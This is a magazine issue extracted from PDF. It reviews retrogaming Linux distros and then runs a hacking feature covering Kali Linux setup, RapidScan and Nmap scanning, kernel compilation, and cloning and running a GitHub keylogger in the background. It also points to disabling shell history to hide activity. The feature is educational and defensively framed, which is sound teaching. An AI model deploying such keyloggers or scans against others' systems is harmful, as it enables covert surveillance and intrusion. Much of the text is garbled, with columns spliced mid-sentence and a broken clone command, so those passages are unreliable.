when we needed to use it. This meant that our remote control however, comes from the underlying Linux distribution.
(which sends keyboard presses) could operate the system.
Recalbox also supports keyboard input but doesn’t have a without a real keyboard as they involve switching to a text mode
setting for UK keyboards – not a huge deal in practice. Controller interface or even using the command line.
setup is less awkward than Lakka, and it also saves a small RetroArch controller setup is easy to use and can support
amount of time because you only have to move the control sticks simultaneous custom keyboard and controller mappings. Both
up and left, and the setup routine guesses the rest. RetroPie hosted on a Linux system and RetroArch rely on the
The Batocera controller setup is also easy to use. Batocera underlying Linux setup for their networking setup.
supports the keyboard, although it’s not well configured for
search (its most useful purpose) as pressing Return doesn’t begin VERDICT
the search and you must navigate to an on-screen Enter button.
Wi-Fi setup is simple and has the added advantage that it RECALBOX 8/10 RETROPIE 7/10
supports WPS, a useful extra if putting together a portable setup. BATOCERA 9/10 LAKKA 7/10
By default, a QWERTY keyboard (or a remote) doesn’t do RETROARCH 6/10
anything on the main RetroPie interface. This is ironic as some of Batocera offers the standard features in this department, and WPS is great
the advanced configuration procedures are difficult or impossible for people who hate typing in the Wi-Fi password.

www.techradar.com/pro/linux April 2024 LXF313 25


ROUNDUP Retrogaming distros

Game selection interface


Day-to-day access Recalbox 9/10 Batocera 8/10
to games. Right from the start, you can’t help but As the underlying software is similar, it’s
be struck by how refined Recalbox’s user hardly surprising that Batocera looks a
or many of us, loading interface is. At all times, there’s a useful bit like RetroPie. The systems are listed

F up a system like one of


these is the portal into
key along the bottom of the screen
showing which button does what.
horizontally, as they are on RetroPie.
When you move into a device folder, the
our happy place. We like to be When it comes to selecting between games are presented as thumbnails. If
bathed in a user interface that is systems, we love the little pixel art the metadata is present, these thumbnails
easy to navigate and appropriately drawing of each platform along with a are animated with gameplay footage and
themed. Anything that gets in the brief list of its specifications. The list of sound. This is impressive to look at, but
way of our enjoyment leads to a systems scrolls vertically, making good for large collections, it may be more
removal of overall points in this use of the screen space that is often practical to switch to the list view, which is
section. Pretty graphics and nice left blank on the other retro front-ends. easily done from the configuration menu.
music are a bonus because they Nothing’s crowded and nothing’s too small Search mode isn’t a real-time search,
can add to the atmosphere and for TV usage. but it does enable you to search the entire
overall experience. Importantly, there is a search feature. collection – handy if you want to compare
Many of these systems could be Although, with only a game controller, text a game across different systems.
operated with a keyboard and a entry is fiddly, but that can’t be helped. The tunes that are played while
monitor if desired, but in this The music that plays while this is going choosing a game set an ’80s mood,
assessment, we’re primarily on deserves a mention as it consists of even though they are nostalgia-tinged
considering using the system slightly familiar-sounding retro chiptunes synthwave rather than the chiptunes of
with a game controller on a TV. to get the user in the mood for exploration Recalbox. It’s also possible to add extra
We’re allowing a little technical of the systems and ROMs. The overall tunes of a similar style from within the
complexity when it comes to atmosphere and ease of use is excellent. settings. A highly pleasant interface.
installation and configuration, but
we expect the everyday navigation
to be smooth.
When operating at a TV
distance, even if it’s a big screen,
we expect the main parts of the
interface to be oversized and easy
to understand.

Adding ROMs
Getting the precious content on to your vintage gaming box.
n retrogaming parlance, files that contain a complete The Batocera shared partition uses a convenient scheme

I game are called ROMs, even if the original medium


might have been a floppy disk or tape, for example.
whereby the ROM and BIOS directories are in the root of the
partition, and this partition can support formats such as exFAT
Lakka supports the full complement of expected ROM so that it can be used on OSes other than Linux. Batocera
transfer methods. Samba sharing is automatically set up and features OD-Commander, a fairly conventional looking dual-pane
worked fine in our tests. SSH, and therefore SCP file copying, file manager that is suitable for operation by a game controller
can also be used. You can also directly copy the ROM files on and can access internal hard drives and plugged in flash drives.
to the Lakka boot medium from a Linux PC or plug a flash drive Recalbox allows direct transfer of files on to its boot medium
with ROMs into a Lakka PC. Once the transfer is complete, the by plugging it into a PC, or transfer via the network by using the
target directory must be scanned for valid ROMs. It’s possible to Samba protocol.
scan the directories of the host PC.
As ever, there are a few extra steps involved when working VERDICT
with RetroPie. Enabling Samba, for instance, involves visiting a
built-in text-mode configuration tool. The ROMs folder is buried RECALBOX 8/10 RETROPIE 6/10
in the home directory of the default user. If you’re hosting BATOCERA 9/10 LAKKA 8/10
RetroPie on a Linux desktop, then you add files to the system as RETROARCH 5/10
you would on any other Linux system. The same can be said for Batocera has a couple of extra features for ROM transfer. On a PC,
self-hosting RetroArch. RetroPie and RetroArch have to be managed manually.

26 LXF313 April 2024 www.linuxformat.com


Retrogaming distros ROUNDUP

RetroArch 6/10 RetroPie 7/10 Lakka 6/10


The RetroArch interface lacks the RetroPie keeps things simple with a The Lakka user interface has more than
simplicity and graphical nicety of the scrolling band of classic systems, a passing resemblance to that of the
other candidates. There are quite a lot of represented by huge icons. It’s not flashy, Sony PlayStation 3. Although not the
menus and screens to negotiate, and it but it’s functional and clear at TV viewing most original of designs, therefore,
lacks a clear separation between the distances. There are also meta-categories it’s a reasonably efficient interface for
interface for game selection and the such as Last Played and Favourites. Press navigating around your content. However,
one for configuration and system setup Start to get to the brief popup settings the lack of music, the monochrome icons
options. However, running full-screen, it menu, or go to the RetroPie category and the lack of descriptions of the games
is a usable interface when used with a to find the main settings, which are feel a bit bare-boned compared to the
controller at TV viewing distance. extensive and use a different interface. other offerings. Speaking of which, those
It’s not a flashy setup, but games can When you select a system, you are icons are sometimes difficult to recognise
be reached by navigating down the side taken to a scrollable vertical list of games. at first glance.
menu down to the individual systems. On the right, if the metadata is present, Every time you click on a new game,
It’s not so bare-bones because, if the there is a thumbnail and some information you have to select an emulator core to
metadata is present, the screenshot and about the game. Unfortunately, the be associated with it, which slows down
other information is shown on the right- interface lacks a search function, but you game browsing and seems unnecessary.
hand side of the screen. can jump to a letter if scrolling through As ROMs are added, an icon for that
In our view, the font sizes are decent, long lists. You can also create a custom system is added to all of the other icons
but the less graphical and much more category to which you can add games. that you navigate through from left to
technical user interface isn’t as suitable Like a lot of RetroPie, it feels like the right. It’s a small point, but we appreciated
for use at TV distance. Having said this, system and game selection interface has the sheer speed of scrolling when moving
we’re assessing the defaults, but it’s fallen behind some of the other options, up and down the games list. Overall, it’s
possible to select a friendlier theme. even though it’s perfectly usable. not fancy but it gets the job done.

Expandability and customisation


The ability to make things work the way you want and to add some extras.
f anything, the RetroPie main menu (Start button) is To give an example, there are instructions to add Steam, for

I rather stripped down when compared to the other


systems. However, the RetroPie configuration menu is
modern gaming, to the system (PC only). However, we found that
some of the procedures for doing these things were quite long-
much more detailed, with more scope for customisation than winded and not all of them worked properly. Within the interface,
the other systems on test here. The downside is that some there is a theme downloader that offers dozens of themes that
configuration options require more work than on the other radically alter the way the interface looks and works, and they all
systems, and this is a pain if you don’t have a keyboard come with star ratings.
connected. The configuration menus have lots of scripts to With Recalbox, again, there are ways of adding extra
download and set up all sorts of software options. Installing programs, but it felt like going against the grain on a system
the Pixel desktop, as an example, gives you a full desktop that’s not designed to be highly customisable.
environment, and it was as simple as finding the correct
menu option to run the installer script. VERDICT
If you are installing RetroPie to an existing PC-based Linux
desktop, many of the configuration and expansion options are RECALBOX 6/10 RETROPIE 9/10
left to you to install. The same can be said for a RetroArch BATOCERA 7/10 LAKKA 7/10
installation on an existing Linux desktop. RETROARCH 8/10
Batocera certainly isn’t a dead end when it comes to RetroPie’s installation scripts and general adherence to Linux standards
expansion, but it isn’t as flexible as RetroPie or RetroArch. make it the winner in this category.

www.techradar.com/pro/linux April 2024 LXF313 27


ROUNDUP Retrogaming distros

As a media centre
Can we take it to the movies
when we have to?
atocera and Recalbox have Kodi built in, and it’s

B an option on the main menu. Kodi is an extremely


comprehensive media centre solution, and once it’s set
up, it’s designed for armchair use via a controller. The problem
with Kodi is that it can be quite complicated to set up for things
like playing media over the network or from streaming services.
Expect to spend some time on the forums resolving issues. Kodi can be adapted to most media centre jobs, and the interface is extremely easy
In Recalbox, Kodi has some useful plugins for Netflix (who can to use via a controller, keyboard or remote control.
afford that?–Ed), YouTube and Twitch installed, and you are
prompted to enable these plugins when Kodi is first run. Setting forward/back. This falls short of the full media centre experience
them up is complicated, however, and it’s a shame that the UK of a Kodi setup, but there is no configuration needed for the
keyboard type isn’t supported, although this can be worked playback of single files and you never need to leave the main
around with some trial and error. Kodi is a fantastic piece of Lakka GUI. RetroArch installed on to a Linux distribution has
software, but don’t expect the simplicity of an Amazon Firestick the same facility.
or similar when adding new streaming services.
RetroPie can optionally install Kodi, and it’s necessary to enter VERDICT
the text-mode configuration menus to do this. It’s possible that,
having done this, you may have to drop to the command line to RECALBOX 8/10 RETROPIE 7/10
do some manual setup work for things such as configuring a BATOCERA 8/10 LAKKA 6/10
controller to work with it. RETROARCH 5/10
Lakka can directly load media files, such as MP4 videos, and it Kodi can handle whatever media you may throw at it, and Batocera and
has a basic media player with the normal controls, such as scan Recalbox have it built in.

Built-in and
downloadable ROMs
Some systems come with free
content or can easily download it.
ome of these systems come with built-in games, a

S combination of modern homebrew releases and former


commercial releases. Most of these are worth a look Old Towers was released in 2019 for the Sega Mega Drive
and are useful to test the setup before you add more games. by developer RetroSouls. Note that Batocera (like Recalbox)
automatically puts a retro-themed border around most of the games.
Batocera comes with a scattering of games across different
emulated systems. Highlights include Old Towers, a platformer
with a difference for the Mega Drive, and the SDL port of Prince get you started. There’s a few nights’ enjoyment to be had with
of Persia. There’s a medium sized selection of games that can be the system before you start adding ROMs yourself. In addition,
downloaded, which are mostly homebrew games for classic there are four download options to add hundreds of homebrew
systems and modern ports of former commercial games, such games for modern low-spec systems. Unfortunately, the quality
as the excellent point-and-click adventure Beneath a Steel Sky. of these games is variable as some of them were created for
RetroPie comes with no ROMs and doesn’t have a built-in competitions and game jams.
downloader for free ROMs. There are some free games listed RetroArch comes with no ROMs but it has a download menu
among downloadable utilities in the setup menu, making them that can pull through a combination of homebrew for classic
awkward to install. We recommend using the standard methods systems and modern ports of games like Doom and Cave Story.
to install games into RetroPie rather than installer scripts.
Lakka comes with several native ports such as the classic VERDICT
Rick Dangerous and a Bomberman clone called Mr Bom. A small
selection of homebrew and similar can be added via its interface. RECALBOX 8/10 RETROPIE 5/10
Like much of Lakka, it lacks descriptions of what you download BATOCERA 8/10 LAKKA 7/10
beyond what you can glean from the category name. RETROARCH 7/10
Recalbox offers quite a bit of homebrew out of the box, so to Being able to have hundreds of free games is nice, but we actually prefer the
speak, and most of the popular systems have a game or two to systems that emphasise game quality.

28 LXF313 April 2024 www.linuxformat.com


Retrogaming distros ROUNDUP

The verdict
Retrogaming distros
atocera is quick to install and configure, and it’s

B a joy to get stuck into when it’s time to sit down


and explore and play a large game collection.
The music and presentation are excellent, and the game
navigation system is as smooth as the corners on a first-
gen Commodore 64. It’s not a tweaker’s delight, but a few
additions can be made to the system, and quite a lot of
changes can be made to how it looks and works thanks
to the extensive theme options.
RetroPie has all the advantages of being the closest
of the bunch to a standard Debian Linux distribution
under the hood. You can even add a standard desktop to
it. For this and other reasons, RetroPie is the ideal setup if
you want an optimised retrogaming experience but you
would like to add your own customisations at a later point. 1st Batocera 9/10
On a desktop PC, it’s a little more complicated to get it
going because it requires the installation and setup of Web: https://batocera.org
some software. On the Raspberry Pi, it’s as easy to install Licence: Various Version: 38
as any of the other options. Easy to install and get going. Good facilities and great presentation.
Recalbox has an adorable, pixel art look throughout.
The installation is dead simple, and the configuration 2nd RetroPie 8/10
options are kept to the essentials. Basically, all you have
to do is get your controller set up and start scrolling Web: https://retropie.org.uk
through the built-in games. It even has the Kodi media Licence: Various Version: 4.8
centre built in and ready to go. It’s not as orientated The tweaker’s distro. Good basic features. Massive scope for expansion.
towards customisation as some of the other options
looked at here, though. 3rd Recalbox 8/10
Lakka is a good system, but we felt that it was a step
or two behind the other ones when it came to polish and Web: www.recalbox.com
extra features. It has a plain, monochromatic interface, Licence: Various Version: 9.1 Pulsar
and we found there was often an extra click or two to get Smooth installation and setup. Simple to use with gorgeous presentation.
things done. It’s based on good technologies, such as
Linux, RetroArch and Libretro, but it lacks some of the 4th Lakka 7/10
refinement and style on offer in some of the other options
in this Roundup. Web: www.lakka.tv
If you install RetroArch to an existing Linux setup, it is Licence: Various Version: 4.3
up to you to handle many aspects of the customisation A good, basic system. Not quite as polished as the others.
yourself. However, although there is a lot of configuration,
it can generally be done from within the RetroArch 5th RetroArch 7/10
interface. The actual setup of the underlying distribution
is left to you, though. The end result of a raw RetroArch Web: www.retroarch.com
setup lacks polish, but it’s perfectly usable from a Licence: Various Version: 1.16.0
controller on a TV. A toolkit for building an amazing custom system.

ALSO CONSIDER
SteamOS (https://store.steampowered.com/steamos) is the Retro Home (https://github.com/wimpysworld/retro-
OS that Valve created to turn PC hardware into a Steam- home) is a complete distro for running emulators, but it hasn’t
enabled gaming box. Unfortunately, the company has now been updated in a while and never really got very mature.
abandoned that original concept. It still maintains SteamOS, Attract-Mode (https://attractmode.org) is a pure front-end
but only for its Steam Deck handheld device. ChimeraOS with versions for Linux with hardware acceleration on the PC
(https://chimeraos.org) is a modern derivative of this OS, and and Raspberry Pi. Pegasus (https://pegasus-frontend.org) is
it would be possible to set up some retro system emulators also a front-end that runs on Linux. It has good presentation
on that, but it only supports AMD GPU equipped desktop PCs. and also allows the customisation of all screen elements.

www.techradar.com/pro/linux April 2024 LXF313 29


Hacker’s toolkit

After an extended break,


alleged hacker Jonni Bidwell
emerges from the shadows to
teach you the noble art and
keep you out of trouble.

t’s that time again when our We’ll get you using coding with Python and (OK, recompiling) the kernel – the very

I perennial hacking feature,


always a favourite, comes to
light [that time was supposed
using the RapidScan script to automate
scans, so you can defend your network.
Hacking in its purest sense means using
engine of your Kali install.
Or, if you’d rather not be derailed
by train metaphors, we’ll also cover
to be two weeks ago – ed]. This isn’t all dark tools (hardware or software) to do things keyloggers and have a go at port-scanning
glasses and hoodies, though; we don’t that they weren’t initially supposed to do. with Nmap and password-cracking with
CREDIT: Magictorch

enforce any kind of dress code. But we The term and culture (along with the word John the Ripper. And if that’s not enough,
do have a comprehensive guide that ‘foo’ that proliferates across programming we’ll finish with a foray into the mighty
will get you started with Kali Linux, the textbooks) originated at a model railway Metasploit, showing you how it can be
ultimate distro for security newbies and club at MIT. You might want to relive some used to craft payloads for attacking
penetration-testing professionals alike. of that unofficial tweaking spirit by hacking Android mobile devices. All aboard!

30 LXF313 April 2024 www.linuxformat.com


Hacker’s toolkit

Kali Linux hacking


Kali Linux is jam-packed with everything you need to start
your hacking career. Or end it, if you don’t obey the law.
ali Linux is a Debian-based distro that we can

K guarantee appears in pretty much any ‘how


to hack’ tutorial you might find. It’s possible to
use it straight from live media; indeed, in the early days,
this was the only way to run it. Kali Linux used to run
everything as root. This made it a terrible choice for
doing anything other than pen-testing work. But now
you can install and use it just as you would any other
distro, with an unprivileged user account. Certain tools
require root to work, but we’re already getting ahead of
ourselves. Let’s get on with the installation.
First, download an ISO from www.kali.org/get-kali.
The default Installer image is 3.9GB and has everything
you need to get started. There is also a cutting-edge
weekly release, a NetInstaller or a full-blown air-
gapped install (at a chunky 11GB). If you have an old
machine you want to transform into a hacking station,
Kali still ships a 32-bit edition. You’ll also find live media Sizes page for details. We’re going with the default Kali Linux has
an unrivalled
via the links. And prerolled images for virtual machines, install with the Xfce desktop, which requires 14GB. selection of
Windows Subsystem for Linux, Android devices, cloud Boot the USB stick by changing the boot order in security-related
installs, containers and even Raspberry Pi. the BIOS/UEFI or use its boot menu hotkey (commonly tools and a
But never mind those, we’re going with a traditional F12 or F10). Kali Linux images are not signed for Secure rather fetching
default desktop
install. You might want to do this in a virtual machine Boot, so disable that if you see a boot verification error.
background.
(VM), but there are caveats. Certain network hijinks Choose the graphical installer (unless you have a
require direct access to hardware (particularly Wi-Fi reason not to) and follow the localisation, network and
hacking) and brute force password-cracking (see user setup prompts. See the official installation notes
boxout, below) can offload work to graphics cards. at www.kali.org/docs/installation/hard-disk-install if
Neither of these is readily available in a VM, but the you get stuck. We’ll use the default Guided – Use Entire
virtual approach obviates the risk of any dual-boot- Disk option, but if you’re feeling adventurous, you may
related mishaps. Kali Linux only supports installation to want to use LVM (possibly even with an encrypted
a complete disk, so if you want to resize partitions and volume). Even if you’re not feeling adventurous, double-
install alongside existing OSes, you’re on your own. check that you select the correct drive here. It and all
Once you’ve got the ISO, write it to a USB stick using that resides there will shortly be obliterated. Leave the
the cross-platform Balena Etcher (https://etcher.io), or software selection screen as is if you’re happy with
your distro’s image-writing tool. Or use a DVD if you like the default install, and hit Continue. Finally, check the
legacy media. There’s a number of configurations in bootloader settings are correct. If you have GRUB
which Kali can be installed, from a 4GB barebones Xfce installed on another disk, this should be detected and
install (without any hacking tools), up to over 30GB if the installer can update it, otherwise install it on the
you want absolutely everything. See the Installation same disk as Kali. Now we’re ready to reboot into Kali.

INSTALLING NVIDIA DRIVERS AND CUDA


We mentioned that that must be jumped $ sudo apt install -y check the guidance at
password (or hash) through. CUDA, Nvidia’s nvidia-driver nvidia- www.kali.org/docs/
cracking can leverage compute stack, is cuda-toolkit general-use/install-
GPU power for (vastly) proprietary and is not Now reboot and then nvidia-drivers-on-kali-
increased performance. supported by the open run nvidia-smi to check linux. Install clinfo to
Setting this up with source Nouveau driver, that your card has been check CUDA, or indeed
AMD cards and OpenCL so we need to replace detected and lit up OpenCL, is functioning.
is pretty straightforward, this with Nvidia’s driver. correctly. You may run If so, John the Ripper
but for Nvidia users, To install CUDA, run: into some DPI issue on and Hashcat should now
there are some hoops $ sudo apt update reboot, in which case operate with ferocity.

www.techradar.com/pro/linux April 2024 LXF313 31


Hacker’s toolkit

Python scanning
Kali’s smorgasbord of tooling can be overwhelming at
first, but we can leverage Python to simplify things.

aving installed Kali, let’s get

H straight to business and do some


hacking with Python. Never mind
if this is entirely new to you, or if you’re
already a seasoned coder. We’re going to
use GitHub user scavngr’s RapidScan tool
(https://github.com/skavngr/rapidscan)
to do some introductory ethical hacking.
RapidScan is a good place to start
because it automates scanning with
hundreds (OK, high tens) of the tools
included in Kali Linux. In the repo
description’s own words, this makes We hope you enjoy RapidScan’s colourful progress bar as much as we did. Use Ctrl+C
“binge tool scanning” much easier. to skip any tests that take too long.
Before we go any further, we’ll stress
what should be obvious: don’t be a script kiddie. Don’t have problems later. Now let’s install the thing with:
go running this, or any other tools from Kali, to seek $ git clone https://github.com/skavngr/rapidscan.git
out vulnerabilities on machines that aren’t your own, or Instead of jumping in and scanning remote hosts,
that you don’t have explicit permission to penetration- start locally. Use RapidScan to scan the host machine:
test. This might get you in a lot of trouble. Especially if $ cd ~/rapidscan
you target Linuxformat.com. You’re not going to find $ python rapidscan.py localhost
something exploitable on Microsoft, Google and so on It takes a few seconds to run, then displays a short
domains. And while we show you how to use hacking summary. Don’t be alarmed if you see that some
tools, we omit to show you what is just as important for vulnerabilities were detected; these are often false
black and grey-hat hackers: how to cover your tracks. positives. Instead, check the log file with:
That responsible disclaimer out of the way, let’s get $ cat rs.vul.localhost.2024-03-01
RapidScan installed. Boot up Kali and log in (username The last part of the filename is the date, so use
and password are both kali ). Then open a terminal tab-completion if you’re too lazy to copy it from the
window using the shortcut on the top bar. You should command output. You’ll see, for example, that DMitry, a
update Kali first using the first two commands from passive email scanner, uses Google to search for public
the Nvidia box on the previous page, otherwise you’ll email addresses on the @localhost domain. Your local
machine is probably not running any email server, let
alone one with accounts detected from Big G. There’s
EXTRA TOOLING also a debug log at rs.dbg.localhost.2024-03-01, for
instance. As most users don’t (knowingly) run any
Keen-eyed aspiring hackers might have noticed a warning that a services on their own machines, it’s unlikely RapidScan
handful of tools RapidScan can avail itself of aren’t available. In will turn up anything of interest. So, your next step is to
particular, XSSer, GoLismero, DNSwalk and Uniscan. The output scan your router (which almost certainly is running a
tells you what these tools do, so scroll up to see which ones you web server), which involves executing something like:
want. GoLismero (see https://github.com/golismero/golismero) is a $ python rapidscan.py 192.168.0.1
multi-purpose tool that hasn’t been updated for four years and still
requires Python 2.7. As such, it’s difficult to install on Kali (or any
modern distro) without royally messing things up, so we won’t bother
with it here. DNSwalk (https://github.com/davebarr/dnswalk) is an
old Perl tool for debugging DNS that probably won’t interest
beginners. Uniscan (https://sourceforge.net/projects/uniscan) is
another old Perl tool that may be of interest, but its age makes it
hard to install. That leaves only XSSer, which is all about cross-site
scripting. Install XSSer and its dependencies with:
$ sudo pip3 install pycurl bs4 pygeoip gobject cairocffi selenium
$ git clone https://github.com/epsylon/xsser.git
$ cd xsser/
$ sudo python setup.py install Nikto is one of the many tools used by RapidScan. We’ve already
checked Linuxformat.com, so please leave it be.

32 LXF313 April 2024 www.linuxformat.com


Hacker’s toolkit

Custom kernel bashing


Recompiling the kernel is a rite of Linux passage. So, let’s install a
bleeding-edge kernel or otherwise customise the heart of your distro.

ne of the advantages of having Kali Linux Slimline your

O installed (as opposed to running it through live


media) is that it’s much easier to compile a
kernel (and speed
up build times)
by removing
custom kernel. Unless you’re an advanced user, there’s unnecessary items
no practical reason you should be doing this, but it’s a from the Device
great way to gain insight into how the Linux kernel fits Drivers section.
together and how customisable it is. These instructions
work for almost all Debian-based distributions. A major
caveat is that most of these distros (Kali excluded) use
Secure Boot certificates, which won’t work in a custom
kernel without changing some key-related settings.
See https://linuxconfig.org/building-kernels-the-
debian-way for a more thorough guide.
We need some tooling before we can build our
kernel. Fetch this (although most of it should already read this, these numbers will be bigger, so check
be installed) with: https://kernel.org and feel free to embiggen the
$ sudo apt install -y build-essential libncurses5-dev numbers in the code below. If you’re feeling
fakeroot bc bison libelf-dev libssl-dev xz-utils adventurous, you might even want to try the latest
At the time of writing, Kali (itself based on Debian release candidate (the first listing labelled Mainline on
Testing) is based on version 6.5.6 of the Linux kernel. Kernel.org). We are not feeling adventurous.
Check if that’s changed by running uname -a , paying Manually download the kernel sources to a sensible
attention to the second Debian version string, rather place in your home directory with:
$ mkdir ~/linux-source

ADVENTURE GAMES
$ cd ~/linux-source
$ wget https://cdn.kernel.org/pub/linux/kernel/

“If you’re feeling adventurous,


v6.x/linux-6.7.tar.xz
$ wget https://cdn.kernel.org/pub/linux/kernel/

you might even want to try the


v6.x/patch-6.7.4.xz
Now unpack the kernel and apply the patch:

latest release candidate. We are


$ tar xvf linux-6.7.tar.xz
$ cd linux-6.7/

not feeling adventurous.”


$ xzcat ../patch-6.7.4.xz | patch -p1
We’ll use the currently running Kali
configuration as a starting point. And we’ll use a
than the first Linux Kali one. On Debian (and derivatives sneaky backtick substitution to align with that. Then
like Kali), there are convenient packages (imaginatively we’ll enter the ncurses kernel configuration area:
named linux-source) for getting the current kernel $ cp /boot/config-`uname -r` .config
sources including customisations and patches, but $ make menuconfig
we’ll use a different approach here. You can see exactly Use the cursor and Tab keys to navigate this
what Kali injects into the vanilla kernel by studying the labyrinth. You can (and we have) spend days prodding
project’s GitLab (https://gitlab.com/kalilinux/packages various settings in here, but there’s no easy guide to
/linux/-/blob/kali/master/debian/patches/series) optimising your custom kernel. We’re also very short
Some users are fans of running mainline kernels – on space, so let’s just compile using our current
those built from official sources at https://kernel.org – configuration. Exit and say yes to save the new .config
without any distro-specific patches. There’s a repo for file. Now build the thing, install the build modules and
this on Debian (and Ubuntu) systems, which you can copy the freshly minted kernel image to the boot
find (with the requisite info) at https://github.com/ directory with:
zabbly/linux. Ubuntu also provides the mainline PPA $ make -j3
for this. On Debian Stable (which currently uses Kernel $ make modules_install
6.1), and to a lesser extent on Ubuntu, building from $ make install
mainline (or using someone else’s mainline build) lets The first command in particular takes a long time to
you run a much newer kernel than the distro provides. run (the -j parameter tells it how many threads to use,
So, let’s update Kali to the latest mainline release. so increase this if you have a massively multicore
As we write this, the latest stable kernel is 6.7.4. As you system), so now is a good time to make a cuppa.

www.techradar.com/pro/linux April 2024 LXF313 33


Hacker’s toolkit

Logging keystrokes
Malicious hackers love keyloggers. See for yourself how X is
susceptible to them, and why Wayland defends against them.

ne of the most insidious types of malware

O is a keylogger. Sitting there silently, often


invisibly, in the background, it records all your
keystrokes and may also keep track of which apps or
windows they are being sent to. This data is then
exfiltrated to a server under the control of the attacker,
where it is scoured for passwords or other sensitive
information. Besides keystrokes, keyloggers may also
periodically take screenshots, or inject their own
keystrokes. Nasty stuff. We’ll touch on mobile security
at the very end of this feature, but for now, be aware
that many nefarious apps masquerading as fancy Oh dear, the keylogger captured our password. Note the odd control
on-screen keyboards are in fact keyloggers. characters at the end of the file.
Back on desktop, one of the main shortcomings of
the old X display server was that any app could spy on to a system, then you can (for example) overwrite key
keystrokes being sent to another, making it trivially easy environment variables ($PATH and $LD_PRELOAD)
to implement a keylogger there. Security guru Matthew so that the programs of your choosing are run
Garrett did so back in 2016, even from within the through a malicious bit of privileged code that
supposed confinement of a Snap application. If you’re sidesteps Wayland’s compartmentalisation. This isn’t
still running X (for example, on Mint or Pop!_OS), you really a Wayland problem – if someone (other than you
don’t even need a keylogger to see the problem in or your benevolent systems administrator) has root
action. Just install Xinput and run xinput list to find access to your machine, they can probably do a lot
your keyboard device (ours was called AT Translated worse than install a keylogger.
Set 2 Keyboard), then run xinput test <id> , substituting You can find a simple multi-platform keylogger at
your device’s ID number. You should see keypresses https://github.com/GiacomoLaw/Keylogger. We’re
(and key releases) no matter which application you are assuming you’re still using Kali, but this should work
typing them into. Our default install of Kali (with the on any X-based desktop (or for apps using XWayland).
Xfce desktop) is susceptible to this, too. Clone that repo with:
Wayland obviates this problem to some extent, $ https://github.com/GiacomoLaw/Keylogger.git
providing true per-application confinement. However, We’re only interested in the Linux side of things, so
non-Wayland apps can still be spied upon this way via let’s set that up with:
the XWayland layer. If you search on the internet, you’ll $ cd Keylogger/linux
find a modicum of FUD (fear, uncertainty and distrust) $ pip install -r requirements.txt
around this topic. For example, if you have root access The instructions say to run the keylogger with the
nohup (no hangup) command and in conjunction with
the background operator (&), so let’s obey:
BEWARE THE BROWSER $ nohup python keylogger.py &
This tells us the process ID of our nefarious program,
This isn’t to say Wayland will save you from everything keylogger- which would be handy if you only had remote access to
related. A malicious browser extension or snippet of JavaScript the system. Open another terminal tab, or a browser,
could theoretically capture keystrokes from within your browser. text editor or anything that accepts input, and type until
And if you fall prey to a web-based man-in-the-middle (MITM) you get bored. Then return to the tab where you started
attack, your passwords can be transparently captured before the keylogger and type fg to bring it back to the
being sent on to the intended website. Attacks have been spotted foreground. Since we’re running locally, we can kill this
in the wild where two-factor authentication (2FA) codes have been with Ctrl+C. This particular script sometimes gets a
intercepted on the fly, too. If this were to happen while you were little confused with modifier keys, so its log file might
logging on to your banking site (or rather a perfectly spoofed clone end up looking a little messy, and you may have to use a
of it), there might be no indication anything was awry until you were text editor (rather than the cat command) to view it.
contacted by your bank’s fraud department. Oh, and don’t be misled by the message about ‘nohup.
Adversely, if you’re a hacker running shell commands on a system out’ when we started the script. The actual log file is
you shouldn’t be, one of the first things you’ll want to do is disable the date and time (separated by a | which we have to
Bash’s history. This box is too small, however, so read more about escape) at which the script was run, for example:
this at www.cyberciti.biz/faq/disable-bash-shell-history-linux. $ nano 01-03-2024\|09:00.log
Slightly disconcerting, we think you’ll agree.

34 LXF313 April 2024 www.linuxformat.com


Hacker’s toolkit

Pen-testing at home
Security begins at home – also, you probably won’t get in trouble
for probing your own infrastructure.

hen we began this exploration

W into the world of hackery, we


suggested you might start by
using RapidScan to scan the local machine
and your home router. We’ll pivot back to
any issues this may have turned up, but for
now, let’s look further into our networks.
These days, your home network might
have dozens of devices, some of which
you may have forgotten about (like that
Raspberry Pi under the stairs), so the first
step would be to enumerate all of these.
An OG way to do this would be to ping the
broadcast address of your router, like so:
$ ping -b 192.168.0.255
Most OSes won’t respond to such
shenanigans these days, and your router
might stop the broadcast ping in its tracks. A de facto included, but you can install it easily with: This is your
approach used by blue team (defensive) hackers and $ sudo apt install etherape computer on
Techradar.com.
amateurs alike is to use Nmap (Network Map). This is EtherApe requires root privileges, so we must start
Seeing exactly
part of the default Kali install. By just specifying an IP it from the command line: $ sudo etherape . what your machine
range, we can have Nmap scan the first 1,000 ports As soon as it starts, nodes are drawn, and as you is connected to is
(where almost all privileged services run) of each browse the web, the number of them increases, at once insightful
machine. This tells us how many machines are on the probably with easily recognisable hostnames from and concerning.
network, and how many are listening for connections: Cloudflare, Facebook and Google. Thicker lines show
$ nmap 192.168.0.1-255 where the most dataflow is happening. Besides IP
If you were a red team (offensive) hacker, you would traffic, EtherApe can capture traffic from Bluetooth,
likely use one of Nmap’s stealth scanning modes to do virtual network interfaces and local D-bus messages.
this, as (although slower) they are harder for defenders If you want to go even further, your next destination
to detect. This is a roundabout way of reaffirming the should be Wireshark. It gives packet-level granularity
fact that port scanning random machines on the into your (or your ’adversaries’) traffic. Despite its
internet or at your workplace is a Bad Idea. name, it’s commonly used to capture packets (in the
One tool which we sorely miss from Kali is PCAP format, which can be used in other applications)
EtherApe. Rather than show machines on your from wireless networks. You need to put your wireless
network, it passively detects all the connections your device in monitor mode to achieve this, which isn’t
machine is making (be they local or remote) and supported on all hardware. If you manage it, you’ll see
displays them graphically. It uses the deprecated what wireless users on your network are connecting to,
GooCanvas library to do this, which is why it’s not up to a domain name level. Very nosy indeed.

ANALYSING HTTP HEADERS AND WEBCAMS


Your router and perhaps exploits or where we might public-facing machine that owners haven’t changed the
other devices on your look if we were inclined to allows HTTP connection default password. Some
network will almost certainly break it. Probe your helpless should be a giant red flag. prankster has set up http://
be running a web interface. router with, for example: You may have an IP insecam.org, which indexes
We can use the httpx tool $ httpx http://192.168.0.1 camera, in which case you webcams that are viewable
